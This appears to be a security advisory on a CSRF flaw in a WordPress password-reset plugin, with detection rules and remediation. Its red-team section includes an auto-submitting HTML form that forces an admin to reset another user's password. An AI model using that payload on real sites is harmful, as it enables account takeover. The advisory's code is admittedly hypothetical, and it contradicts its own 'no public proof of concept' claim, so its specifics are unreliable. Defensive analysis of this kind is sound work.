CVE-2025-57942

Executive Summary

CVE-2025-57942 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the WordPress plugin Emergency Password Reset by vendor Andy Moyle. This plugin is designed to allow administrators to reset user passwords in emergency scenarios. The vulnerability affects all versions from n/a through 9.3. A successful CSRF attack can force an authenticated administrator to unknowingly execute unwanted actions, such as resetting a user's password, without their consent. This can lead to unauthorized account takeover and privilege escalation. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify the integrity of their plugin files by checking file hashes against the official repository. No known supply chain compromise has been reported for this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attack is executed over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim (an authenticated admin) must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – The attacker can modify data (e.g., reset a password).
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for account takeover makes this a significant risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability lies in the plugin's failure to implement CSRF tokens or other anti-CSRF mechanisms on sensitive actions, such as password reset requests. In a typical WordPress admin panel, actions like resetting a user's password should require a nonce (number used once) to verify the request's legitimacy. The Emergency Password Reset plugin, however, does not validate the origin of the request.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a forged request (e.g., a form submission or image tag) that targets the vulnerable plugin's endpoint.
2. The attacker lures an authenticated WordPress administrator to visit this page.
3. The victim's browser automatically sends the forged request, including the victim's session cookies, to the WordPress site.
4. The plugin processes the request without verifying the source, executing the password reset action.
5. The attacker can then log in using the new password, gaining unauthorized access to the targeted user account.

Root Cause: Missing CSRF nonce validation on the password reset action handler.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. A typical vulnerable implementation might look like this:

Vulnerable Code (PHP):

// emergency-password-reset.php
function handle_password_reset() {
    $user_id = $_POST['user_id'];
    $new_password = $_POST['new_password'];
    wp_set_password($new_password, $user_id);
    // No nonce check!
}
add_action('admin_post_emergency_reset', 'handle_password_reset');

Patched Code (Hypothetical):

function handle_password_reset() {
    // Verify nonce
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'emergency_reset_nonce' ) ) {
        wp_die( 'Security check failed.' );
    }
    $user_id = $_POST['user_id'];
    $new_password = $_POST['new_password'];
    wp_set_password($new_password, $user_id);
}
add_action('admin_post_emergency_reset', 'handle_password_reset');

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the Emergency Password Reset plugin (version <= 9.3) installed and activated.
• An authenticated admin user session.

Exploitation Steps:

1. Craft the CSRF Payload: Create an HTML file that automatically submits a form to the vulnerable endpoint.

   <html>
   <body>
   <form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
       <input type="hidden" name="action" value="emergency_reset">
       <input type="hidden" name="user_id" value="2">
       <input type="hidden" name="new_password" value="Pwned123!">
       <input type="submit" value="Click me">
   </form>
   <script>document.forms[0].submit();</script>
   </body>
   </html>
   

2. Host the Payload: Host the HTML file on an attacker-controlled server or use a phishing email.
3. Lure the Victim: Send the link to an authenticated admin. When they visit, the form auto-submits.
4. Verify Access: Log in to the target WordPress site using the new password for user ID 2.

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for unusual password reset requests from admin accounts.
• Check server logs for POST requests to /wp-admin/admin-post.php with action=emergency_reset from unexpected referrers.
• Implement Web Application Firewall (WAF) rules to block requests missing a valid nonce.

Mitigation:

• Disable or remove the plugin until a patch is released.
• Add a custom nonce check via a WordPress plugin or code snippet.
• Educate administrators about phishing attacks and CSRF risks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-post.php with parameters action=emergency_reset, user_id, and new_password.
  • Referrer headers from external domains (e.g., attacker-controlled sites).
• File IOCs:
  • Modified user password hashes in the wp_users table.
  • Suspicious admin activity logs showing password resets without prior user interaction.
• Log IOCs:
  • Apache/Nginx access logs showing POST /wp-admin/admin-post.php HTTP/1.1 with action=emergency_reset.

Detection Engineering

YARA Rule

rule CVE_2025_57942_CSRF_WordPress {
    meta:
        description = "Detects CSRF exploitation attempts against Emergency Password Reset plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57942"
    strings:
        $action = "action=emergency_reset"
        $user_id = "user_id="
        $new_password = "new_password="
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-57942 CSRF Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests targeting the Emergency Password Reset plugin without a valid nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=emergency_reset'
    condition: selection
falsepositives:
    - Legitimate admin actions if nonce is present (but this rule assumes no nonce)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-57942 CSRF Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=emergency_reset"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and uninstall the Emergency Password Reset plugin until a security patch is released.
2. Audit User Accounts: Check for any unauthorized password resets or suspicious admin activity.
3. Force Password Reset: Require all users to change their passwords, especially administrators.

Long-Term Fixes:

• Vendor Patch: Monitor the WordPress Plugin Directory for an update. If none is provided, consider forking the plugin and adding CSRF protection.
• Custom Nonce Implementation: Add a WordPress nonce check to the plugin's action handler (see patched code example).
• Web Application Firewall (WAF): Deploy rules to block requests missing a valid nonce or originating from unexpected referrers.

General Best Practices:

• Always use WordPress nonces for admin actions.
• Implement Content Security Policy (CSP) headers to mitigate CSRF.
• Educate users about phishing and social engineering attacks.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert